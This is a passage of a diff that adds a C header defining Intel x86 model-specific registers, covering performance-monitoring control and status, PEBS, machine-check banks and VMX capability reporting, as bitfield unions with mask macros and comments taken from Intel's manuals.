+#define IA32_PERF_GLOBAL_STATUS_CTR_FRZ(_) (((_) >> 59) & 0x01) + + /** + * [Bit 60] ASCI: Data in the performance counters in the core PMU may include contributions from the direct or indirect + * operation Intel SGX to protect an enclave. + * + * @remarks If CPUID.(EAX=07H, ECX=0):EBX[2] = 1 + */ + uint64_t asci : 1; +#define IA32_PERF_GLOBAL_STATUS_ASCI_BIT 60 +#define IA32_PERF_GLOBAL_STATUS_ASCI_FLAG 0x1000000000000000 +#define IA32_PERF_GLOBAL_STATUS_ASCI_MASK 0x01 +#define IA32_PERF_GLOBAL_STATUS_ASCI(_) (((_) >> 60) & 0x01) + + /** + * [Bit 61] Uncore counter overflow status. + * + * @remarks If CPUID.0AH: EAX[7:0] > 2 + */ + uint64_t ovf_uncore : 1; +#define IA32_PERF_GLOBAL_STATUS_OVF_UNCORE_BIT 61 +#define IA32_PERF_GLOBAL_STATUS_OVF_UNCORE_FLAG 0x2000000000000000 +#define IA32_PERF_GLOBAL_STATUS_OVF_UNCORE_MASK 0x01 +#define IA32_PERF_GLOBAL_STATUS_OVF_UNCORE(_) (((_) >> 61) & 0x01) + + /** + * [Bit 62] OvfBuf: DS SAVE area Buffer overflow status. + * + * @remarks If CPUID.0AH: EAX[7:0] > 0 + */ + uint64_t ovf_buf : 1; +#define IA32_PERF_GLOBAL_STATUS_OVF_BUF_BIT 62 +#define IA32_PERF_GLOBAL_STATUS_OVF_BUF_FLAG 0x4000000000000000 +#define IA32_PERF_GLOBAL_STATUS_OVF_BUF_MASK 0x01 +#define IA32_PERF_GLOBAL_STATUS_OVF_BUF(_) (((_) >> 62) & 0x01) + + /** + * [Bit 63] CondChgd: Status bits of this register have changed. + * + * @remarks If CPUID.0AH: EAX[7:0] > 0 + */ + uint64_t cond_chgd : 1; +#define IA32_PERF_GLOBAL_STATUS_COND_CHGD_BIT 63 +#define IA32_PERF_GLOBAL_STATUS_COND_CHGD_FLAG 0x8000000000000000 +#define IA32_PERF_GLOBAL_STATUS_COND_CHGD_MASK 0x01 +#define IA32_PERF_GLOBAL_STATUS_COND_CHGD(_) (((_) >> 63) & 0x01) + }; + + uint64_t flags; +} ia32_perf_global_status_register; + + +/** + * @brief Global Performance Counter Control (R/W) + * + * Global Performance Counter Control. Counter increments while the result of ANDing the respective enable bit in this MSR + * with the corresponding OS or USR bits in the general-purpose or fixed counter control MSR is true. + * + * @remarks If CPUID.0AH: EAX[7:0] > 0 + */ +#define IA32_PERF_GLOBAL_CTRL 0x0000038F +typedef struct +{ + /** + * EN_PMC(n). Enable bitmask. Only the first n-1 bits are valid. Bits 31:n are reserved. + * + * @remarks If CPUID.0AH: EAX[15:8] > n + */ + uint32_t en_pmcn; + + /** + * EN_FIXED_CTR(n). Enable bitmask. Only the first n-1 bits are valid. Bits 31:n are reserved. + * + * @remarks If CPUID.0AH: EDX[4:0] > n + */ + uint32_t en_fixed_ctrn; +} ia32_perf_global_ctrl_register; + + +/** + * Global Performance Counter Overflow Reset Control. + * + * @remarks If CPUID.0AH: EAX[7:0] > 3 + */ +#define IA32_PERF_GLOBAL_STATUS_RESET 0x00000390 +typedef union +{ + struct + { + /** + * [Bits 31:0] Set 1 to clear Ovf_PMC(n) bit. Clear bitmask. Only the first n-1 bits are valid. Bits 31:n are reserved. + * + * @remarks If CPUID.0AH: EAX[15:8] > n + */ + uint64_t clear_ovf_pmcn : 32; +#define IA32_PERF_GLOBAL_STATUS_RESET_CLEAR_OVF_PMCN_BIT 0 +#define IA32_PERF_GLOBAL_STATUS_RESET_CLEAR_OVF_PMCN_FLAG 0xFFFFFFFF +#define IA32_PERF_GLOBAL_STATUS_RESET_CLEAR_OVF_PMCN_MASK 0xFFFFFFFF +#define IA32_PERF_GLOBAL_STATUS_RESET_CLEAR_OVF_PMCN(_) (((_) >> 0) & 0xFFFFFFFF) + + /** + * [Bits 34:32] Set 1 to clear Ovf_FIXED_CTR(n) bit. Clear bitmask. Only the first n-1 bits are valid. Bits 31:n are + * reserved. + * + * @remarks If CPUID.0AH: EDX[4:0] > n + */ + uint64_t clear_ovf_fixed_ctrn : 3; +#define IA32_PERF_GLOBAL_STATUS_RESET_CLEAR_OVF_FIXED_CTRN_BIT 32 +#define IA32_PERF_GLOBAL_STATUS_RESET_CLEAR_OVF_FIXED_CTRN_FLAG 0x700000000 +#define IA32_PERF_GLOBAL_STATUS_RESET_CLEAR_OVF_FIXED_CTRN_MASK 0x07 +#define IA32_PERF_GLOBAL_STATUS_RESET_CLEAR_OVF_FIXED_CTRN(_) (((_) >> 32) & 0x07) + uint64_t reserved1 : 20; + + /** + * [Bit 55] Set 1 to clear Trace_ToPA_PMI bit. + * + * @remarks If (CPUID.(EAX=07H, ECX=0):EBX[25] = 1) && IA32_RTIT_CTL.ToPA = 1 + */ + uint64_t clear_trace_topa_pmi : 1; +#define IA32_PERF_GLOBAL_STATUS_RESET_CLEAR_TRACE_TOPA_PMI_BIT 55 +#define IA32_PERF_GLOBAL_STATUS_RESET_CLEAR_TRACE_TOPA_PMI_FLAG 0x80000000000000 +#define IA32_PERF_GLOBAL_STATUS_RESET_CLEAR_TRACE_TOPA_PMI_MASK 0x01 +#define IA32_PERF_GLOBAL_STATUS_RESET_CLEAR_TRACE_TOPA_PMI(_) (((_) >> 55) & 0x01) + uint64_t reserved2 : 2; + + /** + * [Bit 58] Set 1 to clear LBR_Frz bit. + * + * @remarks If CPUID.0AH: EAX[7:0] > 3 + */ + uint64_t clear_lbr_frz : 1; +#define IA32_PERF_GLOBAL_STATUS_RESET_CLEAR_LBR_FRZ_BIT 58 +#define IA32_PERF_GLOBAL_STATUS_RESET_CLEAR_LBR_FRZ_FLAG 0x400000000000000 +#define IA32_PERF_GLOBAL_STATUS_RESET_CLEAR_LBR_FRZ_MASK 0x01 +#define IA32_PERF_GLOBAL_STATUS_RESET_CLEAR_LBR_FRZ(_) (((_) >> 58) & 0x01) + + /** + * [Bit 59] Set 1 to clear CTR_Frz bit. + * + * @remarks If CPUID.0AH: EAX[7:0] > 3 + */ + uint64_t clear_ctr_frz : 1; +#define IA32_PERF_GLOBAL_STATUS_RESET_CLEAR_CTR_FRZ_BIT 59 +#define IA32_PERF_GLOBAL_STATUS_RESET_CLEAR_CTR_FRZ_FLAG 0x800000000000000 +#define IA32_PERF_GLOBAL_STATUS_RESET_CLEAR_CTR_FRZ_MASK 0x01 +#define IA32_PERF_GLOBAL_STATUS_RESET_CLEAR_CTR_FRZ(_) (((_) >> 59) & 0x01) + + /** + * [Bit 60] Set 1 to clear ASCI bit. + * + * @remarks If CPUID.0AH: EAX[7:0] > 3 + */ + uint64_t clear_asci : 1; +#define IA32_PERF_GLOBAL_STATUS_RESET_CLEAR_ASCI_BIT 60 +#define IA32_PERF_GLOBAL_STATUS_RESET_CLEAR_ASCI_FLAG 0x1000000000000000 +#define IA32_PERF_GLOBAL_STATUS_RESET_CLEAR_ASCI_MASK 0x01 +#define IA32_PERF_GLOBAL_STATUS_RESET_CLEAR_ASCI(_) (((_) >> 60) & 0x01) + + /** + * [Bit 61] Set 1 to clear Ovf_Uncore bit. + * + * @remarks 06_2EH + */ + uint64_t clear_ovf_uncore : 1; +#define IA32_PERF_GLOBAL_STATUS_RESET_CLEAR_OVF_UNCORE_BIT 61 +#define IA32_PERF_GLOBAL_STATUS_RESET_CLEAR_OVF_UNCORE_FLAG 0x2000000000000000 +#define IA32_PERF_GLOBAL_STATUS_RESET_CLEAR_OVF_UNCORE_MASK 0x01 +#define IA32_PERF_GLOBAL_STATUS_RESET_CLEAR_OVF_UNCORE(_) (((_) >> 61) & 0x01) + + /** + * [Bit 62] Set 1 to clear OvfBuf bit. + * + * @remarks If CPUID.0AH: EAX[7:0] > 0 + */ + uint64_t clear_ovf_buf : 1; +#define IA32_PERF_GLOBAL_STATUS_RESET_CLEAR_OVF_BUF_BIT 62 +#define IA32_PERF_GLOBAL_STATUS_RESET_CLEAR_OVF_BUF_FLAG 0x4000000000000000 +#define IA32_PERF_GLOBAL_STATUS_RESET_CLEAR_OVF_BUF_MASK 0x01 +#define IA32_PERF_GLOBAL_STATUS_RESET_CLEAR_OVF_BUF(_) (((_) >> 62) & 0x01) + + /** + * [Bit 63] Set 1 to clear CondChgd bit. + * + * @remarks If CPUID.0AH: EAX[7:0] > 0 + */ + uint64_t clear_cond_chgd : 1; +#define IA32_PERF_GLOBAL_STATUS_RESET_CLEAR_COND_CHGD_BIT 63 +#define IA32_PERF_GLOBAL_STATUS_RESET_CLEAR_COND_CHGD_FLAG 0x8000000000000000 +#define IA32_PERF_GLOBAL_STATUS_RESET_CLEAR_COND_CHGD_MASK 0x01 +#define IA32_PERF_GLOBAL_STATUS_RESET_CLEAR_COND_CHGD(_) (((_) >> 63) & 0x01) + }; + + uint64_t flags; +} ia32_perf_global_status_reset_register; + + +/** + * Global Performance Counter Overflow Set Control. + * + * @remarks If CPUID.0AH: EAX[7:0] > 3 + */ +#define IA32_PERF_GLOBAL_STATUS_SET 0x00000391 +typedef union +{ + struct + { + /** + * [Bits 31:0] Set 1 to cause Ovf_PMC(n) = 1. Set bitmask. Only the first n-1 bits are valid. Bits 31:n are reserved. + * + * @remarks If CPUID.0AH: EAX[15:8] > n + */ + uint64_t ovf_pmcn : 32; +#define IA32_PERF_GLOBAL_STATUS_SET_OVF_PMCN_BIT 0 +#define IA32_PERF_GLOBAL_STATUS_SET_OVF_PMCN_FLAG 0xFFFFFFFF +#define IA32_PERF_GLOBAL_STATUS_SET_OVF_PMCN_MASK 0xFFFFFFFF +#define IA32_PERF_GLOBAL_STATUS_SET_OVF_PMCN(_) (((_) >> 0) & 0xFFFFFFFF) + + /** + * [Bits 34:32] Set 1 to cause Ovf_FIXED_CTR(n) = 1. Set bitmask. Only the first n-1 bits are valid. Bits 31:n are + * reserved. + * + * @remarks If CPUID.0AH: EDX[4:0] > n + */ + uint64_t ovf_fixed_ctrn : 3; +#define IA32_PERF_GLOBAL_STATUS_SET_OVF_FIXED_CTRN_BIT 32 +#define IA32_PERF_GLOBAL_STATUS_SET_OVF_FIXED_CTRN_FLAG 0x700000000 +#define IA32_PERF_GLOBAL_STATUS_SET_OVF_FIXED_CTRN_MASK 0x07 +#define IA32_PERF_GLOBAL_STATUS_SET_OVF_FIXED_CTRN(_) (((_) >> 32) & 0x07) + uint64_t reserved1 : 20; + + /** + * [Bit 55] Set 1 to cause Trace_ToPA_PMI = 1. + * + * @remarks If CPUID.0AH: EAX[7:0] > 3 + */ + uint64_t trace_topa_pmi : 1; +#define IA32_PERF_GLOBAL_STATUS_SET_TRACE_TOPA_PMI_BIT 55 +#define IA32_PERF_GLOBAL_STATUS_SET_TRACE_TOPA_PMI_FLAG 0x80000000000000 +#define IA32_PERF_GLOBAL_STATUS_SET_TRACE_TOPA_PMI_MASK 0x01 +#define IA32_PERF_GLOBAL_STATUS_SET_TRACE_TOPA_PMI(_) (((_) >> 55) & 0x01) + uint64_t reserved2 : 2; + + /** + * [Bit 58] Set 1 to cause LBR_Frz = 1. + * + * @remarks If CPUID.0AH: EAX[7:0] > 3 + */ + uint64_t lbr_frz : 1; +#define IA32_PERF_GLOBAL_STATUS_SET_LBR_FRZ_BIT 58 +#define IA32_PERF_GLOBAL_STATUS_SET_LBR_FRZ_FLAG 0x400000000000000 +#define IA32_PERF_GLOBAL_STATUS_SET_LBR_FRZ_MASK 0x01 +#define IA32_PERF_GLOBAL_STATUS_SET_LBR_FRZ(_) (((_) >> 58) & 0x01) + + /** + * [Bit 59] Set 1 to cause CTR_Frz = 1. + * + * @remarks If CPUID.0AH: EAX[7:0] > 3 + */ + uint64_t ctr_frz : 1; +#define IA32_PERF_GLOBAL_STATUS_SET_CTR_FRZ_BIT 59 +#define IA32_PERF_GLOBAL_STATUS_SET_CTR_FRZ_FLAG 0x800000000000000 +#define IA32_PERF_GLOBAL_STATUS_SET_CTR_FRZ_MASK 0x01 +#define IA32_PERF_GLOBAL_STATUS_SET_CTR_FRZ(_) (((_) >> 59) & 0x01) + + /** + * [Bit 60] Set 1 to cause ASCI = 1. + * + * @remarks If CPUID.0AH: EAX[7:0] > 3 + */ + uint64_t asci : 1; +#define IA32_PERF_GLOBAL_STATUS_SET_ASCI_BIT 60 +#define IA32_PERF_GLOBAL_STATUS_SET_ASCI_FLAG 0x1000000000000000 +#define IA32_PERF_GLOBAL_STATUS_SET_ASCI_MASK 0x01 +#define IA32_PERF_GLOBAL_STATUS_SET_ASCI(_) (((_) >> 60) & 0x01) + + /** + * [Bit 61] Set 1 to cause Ovf_Uncore = 1. + * + * @remarks 06_2EH + */ + uint64_t ovf_uncore : 1; +#define IA32_PERF_GLOBAL_STATUS_SET_OVF_UNCORE_BIT 61 +#define IA32_PERF_GLOBAL_STATUS_SET_OVF_UNCORE_FLAG 0x2000000000000000 +#define IA32_PERF_GLOBAL_STATUS_SET_OVF_UNCORE_MASK 0x01 +#define IA32_PERF_GLOBAL_STATUS_SET_OVF_UNCORE(_) (((_) >> 61) & 0x01) + + /** + * [Bit 62] Set 1 to cause OvfBuf = 1. + * + * @remarks If CPUID.0AH: EAX[7:0] > 3 + */ + uint64_t ovf_buf : 1; +#define IA32_PERF_GLOBAL_STATUS_SET_OVF_BUF_BIT 62 +#define IA32_PERF_GLOBAL_STATUS_SET_OVF_BUF_FLAG 0x4000000000000000 +#define IA32_PERF_GLOBAL_STATUS_SET_OVF_BUF_MASK 0x01 +#define IA32_PERF_GLOBAL_STATUS_SET_OVF_BUF(_) (((_) >> 62) & 0x01) + uint64_t reserved3 : 1; + }; + + uint64_t flags; +} ia32_perf_global_status_set_register; + + +/** + * Indicator that core perfmon interface is in use. + * + * @remarks If CPUID.0AH: EAX[7:0] > 3 + */ +#define IA32_PERF_GLOBAL_INUSE 0x00000392 +typedef union +{ + struct + { + /** + * [Bits 31:0] IA32_PERFEVTSEL(n) in use. Status bitmask. Only the first n-1 bits are valid. Bits 31:n are reserved. + * + * @remarks If CPUID.0AH: EAX[15:8] > n + */ + uint64_t ia32_perfevtseln_in_use : 32; +#define IA32_PERF_GLOBAL_INUSE_IA32_PERFEVTSELN_IN_USE_BIT 0 +#define IA32_PERF_GLOBAL_INUSE_IA32_PERFEVTSELN_IN_USE_FLAG 0xFFFFFFFF +#define IA32_PERF_GLOBAL_INUSE_IA32_PERFEVTSELN_IN_USE_MASK 0xFFFFFFFF +#define IA32_PERF_GLOBAL_INUSE_IA32_PERFEVTSELN_IN_USE(_) (((_) >> 0) & 0xFFFFFFFF) + + /** + * [Bits 34:32] IA32_FIXED_CTR(n) in use. Status bitmask. Only the first n-1 bits are valid. Bits 31:n are reserved. + */ + uint64_t ia32_fixed_ctrn_in_use : 3; +#define IA32_PERF_GLOBAL_INUSE_IA32_FIXED_CTRN_IN_USE_BIT 32 +#define IA32_PERF_GLOBAL_INUSE_IA32_FIXED_CTRN_IN_USE_FLAG 0x700000000 +#define IA32_PERF_GLOBAL_INUSE_IA32_FIXED_CTRN_IN_USE_MASK 0x07 +#define IA32_PERF_GLOBAL_INUSE_IA32_FIXED_CTRN_IN_USE(_) (((_) >> 32) & 0x07) + uint64_t reserved1 : 28; + + /** + * [Bit 63] PMI in use. + */ + uint64_t pmi_in_use : 1; +#define IA32_PERF_GLOBAL_INUSE_PMI_IN_USE_BIT 63 +#define IA32_PERF_GLOBAL_INUSE_PMI_IN_USE_FLAG 0x8000000000000000 +#define IA32_PERF_GLOBAL_INUSE_PMI_IN_USE_MASK 0x01 +#define IA32_PERF_GLOBAL_INUSE_PMI_IN_USE(_) (((_) >> 63) & 0x01) + }; + + uint64_t flags; +} ia32_perf_global_inuse_register; + + +/** + * PEBS Control. + * + * @remarks If CPUID.0AH: EAX[7:0] > 3 + */ +#define IA32_PEBS_ENABLE 0x000003F1 +typedef union +{ + struct + { + /** + * [Bit 0] Enable PEBS on IA32_PMC0. + * + * @remarks 06_0FH + */ + uint64_t enable_pebs : 1; +#define IA32_PEBS_ENABLE_ENABLE_PEBS_BIT 0 +#define IA32_PEBS_ENABLE_ENABLE_PEBS_FLAG 0x01 +#define IA32_PEBS_ENABLE_ENABLE_PEBS_MASK 0x01 +#define IA32_PEBS_ENABLE_ENABLE_PEBS(_) (((_) >> 0) & 0x01) + + /** + * [Bits 3:1] Reserved or model specific. + */ + uint64_t reservedormodelspecific1 : 3; +#define IA32_PEBS_ENABLE_RESERVEDORMODELSPECIFIC1_BIT 1 +#define IA32_PEBS_ENABLE_RESERVEDORMODELSPECIFIC1_FLAG 0x0E +#define IA32_PEBS_ENABLE_RESERVEDORMODELSPECIFIC1_MASK 0x07 +#define IA32_PEBS_ENABLE_RESERVEDORMODELSPECIFIC1(_) (((_) >> 1) & 0x07) + uint64_t reserved1 : 28; + + /** + * [Bits 35:32] Reserved or model specific. + */ + uint64_t reservedormodelspecific2 : 4; +#define IA32_PEBS_ENABLE_RESERVEDORMODELSPECIFIC2_BIT 32 +#define IA32_PEBS_ENABLE_RESERVEDORMODELSPECIFIC2_FLAG 0xF00000000 +#define IA32_PEBS_ENABLE_RESERVEDORMODELSPECIFIC2_MASK 0x0F +#define IA32_PEBS_ENABLE_RESERVEDORMODELSPECIFIC2(_) (((_) >> 32) & 0x0F) + uint64_t reserved2 : 28; + }; + + uint64_t flags; +} ia32_pebs_enable_register; + +/** + * @defgroup ia32_mc_ctl \ + * IA32_MC(i)_CTL + * + * IA32_MC(0-28)_CTL. + * + * @remarks If IA32_MCG_CAP.CNT > n + * @{ + */ +#define IA32_MC0_CTL 0x00000400 +#define IA32_MC1_CTL 0x00000404 +#define IA32_MC2_CTL 0x00000408 +#define IA32_MC3_CTL 0x0000040C +#define IA32_MC4_CTL 0x00000410 +#define IA32_MC5_CTL 0x00000414 +#define IA32_MC6_CTL 0x00000418 +#define IA32_MC7_CTL 0x0000041C +#define IA32_MC8_CTL 0x00000420 +#define IA32_MC9_CTL 0x00000424 +#define IA32_MC10_CTL 0x00000428 +#define IA32_MC11_CTL 0x0000042C +#define IA32_MC12_CTL 0x00000430 +#define IA32_MC13_CTL 0x00000434 +#define IA32_MC14_CTL 0x00000438 +#define IA32_MC15_CTL 0x0000043C +#define IA32_MC16_CTL 0x00000440 +#define IA32_MC17_CTL 0x00000444 +#define IA32_MC18_CTL 0x00000448 +#define IA32_MC19_CTL 0x0000044C +#define IA32_MC20_CTL 0x00000450 +#define IA32_MC21_CTL 0x00000454 +#define IA32_MC22_CTL 0x00000458 +#define IA32_MC23_CTL 0x0000045C +#define IA32_MC24_CTL 0x00000460 +#define IA32_MC25_CTL 0x00000464 +#define IA32_MC26_CTL 0x00000468 +#define IA32_MC27_CTL 0x0000046C +#define IA32_MC28_CTL 0x00000470 + /** + * @} + */ + + /** + * @defgroup ia32_mc_status \ + * IA32_MC(i)_STATUS + * + * IA32_MC(0-28)_STATUS. + * + * @remarks If IA32_MCG_CAP.CNT > n + * @{ + */ +#define IA32_MC0_STATUS 0x00000401 +#define IA32_MC1_STATUS 0x00000405 +#define IA32_MC2_STATUS 0x00000409 +#define IA32_MC3_STATUS 0x0000040D +#define IA32_MC4_STATUS 0x00000411 +#define IA32_MC5_STATUS 0x00000415 +#define IA32_MC6_STATUS 0x00000419 +#define IA32_MC7_STATUS 0x0000041D +#define IA32_MC8_STATUS 0x00000421 +#define IA32_MC9_STATUS 0x00000425 +#define IA32_MC10_STATUS 0x00000429 +#define IA32_MC11_STATUS 0x0000042D +#define IA32_MC12_STATUS 0x00000431 +#define IA32_MC13_STATUS 0x00000435 +#define IA32_MC14_STATUS 0x00000439 +#define IA32_MC15_STATUS 0x0000043D +#define IA32_MC16_STATUS 0x00000441 +#define IA32_MC17_STATUS 0x00000445 +#define IA32_MC18_STATUS 0x00000449 +#define IA32_MC19_STATUS 0x0000044D +#define IA32_MC20_STATUS 0x00000451 +#define IA32_MC21_STATUS 0x00000455 +#define IA32_MC22_STATUS 0x00000459 +#define IA32_MC23_STATUS 0x0000045D +#define IA32_MC24_STATUS 0x00000461 +#define IA32_MC25_STATUS 0x00000465 +#define IA32_MC26_STATUS 0x00000469 +#define IA32_MC27_STATUS 0x0000046D +#define IA32_MC28_STATUS 0x00000471 + /** + * @} + */ + + /** + * @defgroup ia32_mc_addr \ + * IA32_MC(i)_ADDR + * + * IA32_MC(0-28)_ADDR. + * + * @remarks If IA32_MCG_CAP.CNT > n + * @{ + */ +#define IA32_MC0_ADDR 0x00000402 +#define IA32_MC1_ADDR 0x00000406 +#define IA32_MC2_ADDR 0x0000040A +#define IA32_MC3_ADDR 0x0000040E +#define IA32_MC4_ADDR 0x00000412 +#define IA32_MC5_ADDR 0x00000416 +#define IA32_MC6_ADDR 0x0000041A +#define IA32_MC7_ADDR 0x0000041E +#define IA32_MC8_ADDR 0x00000422 +#define IA32_MC9_ADDR 0x00000426 +#define IA32_MC10_ADDR 0x0000042A +#define IA32_MC11_ADDR 0x0000042E +#define IA32_MC12_ADDR 0x00000432 +#define IA32_MC13_ADDR 0x00000436 +#define IA32_MC14_ADDR 0x0000043A +#define IA32_MC15_ADDR 0x0000043E +#define IA32_MC16_ADDR 0x00000442 +#define IA32_MC17_ADDR 0x00000446 +#define IA32_MC18_ADDR 0x0000044A +#define IA32_MC19_ADDR 0x0000044E +#define IA32_MC20_ADDR 0x00000452 +#define IA32_MC21_ADDR 0x00000456 +#define IA32_MC22_ADDR 0x0000045A +#define IA32_MC23_ADDR 0x0000045E +#define IA32_MC24_ADDR 0x00000462 +#define IA32_MC25_ADDR 0x00000466 +#define IA32_MC26_ADDR 0x0000046A +#define IA32_MC27_ADDR 0x0000046E +#define IA32_MC28_ADDR 0x00000472 + /** + * @} + */ + + /** + * @defgroup ia32_mc_misc \ + * IA32_MC(i)_MISC + * + * IA32_MC(0-28)_MISC. + * + * @remarks If IA32_MCG_CAP.CNT > n + * @{ + */ +#define IA32_MC0_MISC 0x00000403 +#define IA32_MC1_MISC 0x00000407 +#define IA32_MC2_MISC 0x0000040B +#define IA32_MC3_MISC 0x0000040F +#define IA32_MC4_MISC 0x00000413 +#define IA32_MC5_MISC 0x00000417 +#define IA32_MC6_MISC 0x0000041B +#define IA32_MC7_MISC 0x0000041F +#define IA32_MC8_MISC 0x00000423 +#define IA32_MC9_MISC 0x00000427 +#define IA32_MC10_MISC 0x0000042B +#define IA32_MC11_MISC 0x0000042F +#define IA32_MC12_MISC 0x00000433 +#define IA32_MC13_MISC 0x00000437 +#define IA32_MC14_MISC 0x0000043B +#define IA32_MC15_MISC 0x0000043F +#define IA32_MC16_MISC 0x00000443 +#define IA32_MC17_MISC 0x00000447 +#define IA32_MC18_MISC 0x0000044B +#define IA32_MC19_MISC 0x0000044F +#define IA32_MC20_MISC 0x00000453 +#define IA32_MC21_MISC 0x00000457 +#define IA32_MC22_MISC 0x0000045B +#define IA32_MC23_MISC 0x0000045F +#define IA32_MC24_MISC 0x00000463 +#define IA32_MC25_MISC 0x00000467 +#define IA32_MC26_MISC 0x0000046B +#define IA32_MC27_MISC 0x0000046F +#define IA32_MC28_MISC 0x00000473 + /** + * @} + */ + + + /** + * Reporting Register of Basic VMX Capabilities. + * + * @remarks If CPUID.01H:ECX.[5] = 1 + * @see Vol3D[A.1(BASIC VMX INFORMATION)] + * @see Vol3D[A.1(Basic VMX Information)] (reference) + */ +#define IA32_VMX_BASIC 0x00000480 +typedef union +{ + struct + { + /** + * @brief VMCS revision identifier used by the processor + * + * [Bits 30:0] 31-bit VMCS revision identifier used by the processor. Processors that use the same VMCS revision identifier + * use the same size for VMCS regions. + */ + uint64_t vmcs_revision_id : 31; +#define IA32_VMX_BASIC_VMCS_REVISION_ID_BIT 0 +#define IA32_VMX_BASIC_VMCS_REVISION_ID_FLAG 0x7FFFFFFF +#define IA32_VMX_BASIC_VMCS_REVISION_ID_MASK 0x7FFFFFFF +#define IA32_VMX_BASIC_VMCS_REVISION_ID(_) (((_) >> 0) & 0x7FFFFFFF) + + /** + * [Bit 31] Bit 31 is always 0. + */ + uint64_t must_be_zero : 1; +#define IA32_VMX_BASIC_MUST_BE_ZERO_BIT 31 +#define IA32_VMX_BASIC_MUST_BE_ZERO_FLAG 0x80000000 +#define IA32_VMX_BASIC_MUST_BE_ZERO_MASK 0x01 +#define IA32_VMX_BASIC_MUST_BE_ZERO(_) (((_) >> 31) & 0x01) + + /** + * @brief Size of the VMCS + * + * [Bits 44:32] Report the number of bytes that software should allocate for the VMXON region and any VMCS region. It is a + * value greater than 0 and at most 4096 (bit 44 is set if and only if bits 43:32 are clear). + */ + uint64_t vmcs_size_in_bytes : 13; +#define IA32_VMX_BASIC_VMCS_SIZE_IN_BYTES_BIT 32 +#define IA32_VMX_BASIC_VMCS_SIZE_IN_BYTES_FLAG 0x1FFF00000000 +#define IA32_VMX_BASIC_VMCS_SIZE_IN_BYTES_MASK 0x1FFF +#define IA32_VMX_BASIC_VMCS_SIZE_IN_BYTES(_) (((_) >> 32) & 0x1FFF) + uint64_t reserved1 : 3; + + /** + * @brief Width of physical address used for the VMCS + * - 0 -> limited to the available amount of physical RAM + * - 1 -> within the first 4 GB + * + * [Bit 48] Indicates the width of the physical addresses that may be used for the VMXON region, each VMCS, and data + * structures referenced by pointers in a VMCS (I/O bitmaps, virtual-APIC page, MSR areas for VMX transitions). If the bit + * is 0, these addresses are limited to the processor's physical-address width.2 If the bit is 1, these addresses are + * limited to 32 bits. This bit is always 0 for processors that support Intel 64 architecture. + */ + uint64_t vmcs_physical_address_width : 1; +#define IA32_VMX_BASIC_VMCS_PHYSICAL_ADDRESS_WIDTH_BIT 48 +#define IA32_VMX_BASIC_VMCS_PHYSICAL_ADDRESS_WIDTH_FLAG 0x1000000000000 +#define IA32_VMX_BASIC_VMCS_PHYSICAL_ADDRESS_WIDTH_MASK 0x01 +#define IA32_VMX_BASIC_VMCS_PHYSICAL_ADDRESS_WIDTH(_) (((_) >> 48) & 0x01) + + /** + * @brief Whether the processor supports the dual-monitor treatment of system-management interrupts and system-management + * code (always 1) + * + * [Bit 49] Read as 1, the logical processor supports the dual-monitor treatment of system-management interrupts and + * system-management mode. + * + * @see Vol3C[34.15(DUAL-MONITOR TREATMENT OF SMIs AND SMM)] + */ + uint64_t dual_monitor_support : 1; +#define IA32_VMX_BASIC_DUAL_MONITOR_SUPPORT_BIT 49 +#define IA32_VMX_BASIC_DUAL_MONITOR_SUPPORT_FLAG 0x2000000000000 +#define IA32_VMX_BASIC_DUAL_MONITOR_SUPPORT_MASK 0x01 +#define IA32_VMX_BASIC_DUAL_MONITOR_SUPPORT(_) (((_) >> 49) & 0x01) + + /** + * @brief Memory type that must be used for the VMCS + * + * [Bits 53:50] Report the memory type that should be used for the VMCS, for data structures referenced by pointers in the + * VMCS (I/O bitmaps, virtual-APIC page, MSR areas for VMX transitions), and for the MSEG header. If software needs to + * access these data structures (e.g., to modify the contents of the MSR bitmaps), it can configure the paging structures + * to map them into the linear-address space. If it does so, it should establish mappings that use the memory type reported + * bits 53:50 in this MSR. + * As of this writing, all processors that support VMX operation indicate the write-back type. + */ + uint64_t memory_type : 4; +#define IA32_VMX_BASIC_MEMORY_TYPE_BIT 50 +#define IA32_VMX_BASIC_MEMORY_TYPE_FLAG 0x3C000000000000 +#define IA32_VMX_BASIC_MEMORY_TYPE_MASK 0x0F +#define IA32_VMX_BASIC_MEMORY_TYPE(_) (((_) >> 50) & 0x0F) + + /** + * @brief Whether the processor provides additional information for exits due to INS/OUTS + * + * [Bit 54] When set to 1, the processor reports information in the VM-exit instruction-information field on VM exits due + * to execution of the INS and OUTS instructions. This reporting is done only if this bit is read as 1. + * + * @see Vol3C[27.2.4(Information for VM Exits Due to Instruction Execution)] + */ + uint64_t ins_outs_reporting : 1; +#define IA32_VMX_BASIC_INS_OUTS_REPORTING_BIT 54 +#define IA32_VMX_BASIC_INS_OUTS_REPORTING_FLAG 0x40000000000000 +#define IA32_VMX_BASIC_INS_OUTS_REPORTING_MASK 0x01 +#define IA32_VMX_BASIC_INS_OUTS_REPORTING(_) (((_) >> 54) & 0x01) + + /** + * @brief Whether default 1 bits in control MSRs (pin/proc/exit/entry) may be cleared to 0 and that 'true' control MSRs are + * supported + * + * [Bit 55] Is read as 1 if any VMX controls that default to 1 may be cleared to 0. It also reports support for the VMX + * capability MSRs IA32_VMX_TRUE_PINBASED_CTLS, IA32_VMX_TRUE_PROCBASED_CTLS, IA32_VMX_TRUE_EXIT_CTLS, and + * IA32_VMX_TRUE_ENTRY_CTLS. + * + * @see Vol3D[A.2(RESERVED CONTROLS AND DEFAULT SETTINGS)] + * @see Vol3D[A.3.1(Pin-Based VM-Execution Controls)] + * @see Vol3D[A.3.2(Primary Processor-Based VM-Execution Controls)] + * @see Vol3D[A.4(VM-EXIT CONTROLS)] + * @see Vol3D[A.5(VM-ENTRY CONTROLS)] + */ + uint64_t vmx_controls : 1; +#define IA32_VMX_BASIC_VMX_CONTROLS_BIT 55 +#define IA32_VMX_BASIC_VMX_CONTROLS_FLAG 0x80000000000000 +#define IA32_VMX_BASIC_VMX_CONTROLS_MASK 0x01 +#define IA32_VMX_BASIC_VMX_CONTROLS(_) (((_) >> 55) & 0x01) + uint64_t reserved2 : 8; + }; + + uint64_t flags; +} ia32_vmx_basic_register; + + +/** + * Capability Reporting Register of Pin-Based VM-Execution Controls. + * + * @remarks If CPUID.01H:ECX.[5] = 1 + * @see Vol3D[A.3.1(Pin-Based VM-Execution Controls)] + * @see Vol3C[24.6.1(Pin-Based VM-Execution Controls)] (reference) + */ +#define IA32_VMX_PINBASED_CTLS 0x00000481 +typedef union +{ + struct + { + /** + * @brief External interrupts cause VM-exits if set; otherwise dispatched through the guest's IDT + * + * [Bit 0] If this control is 1, external interrupts cause VM exits. Otherwise, they are delivered normally through the + * guest interrupt-descriptor table 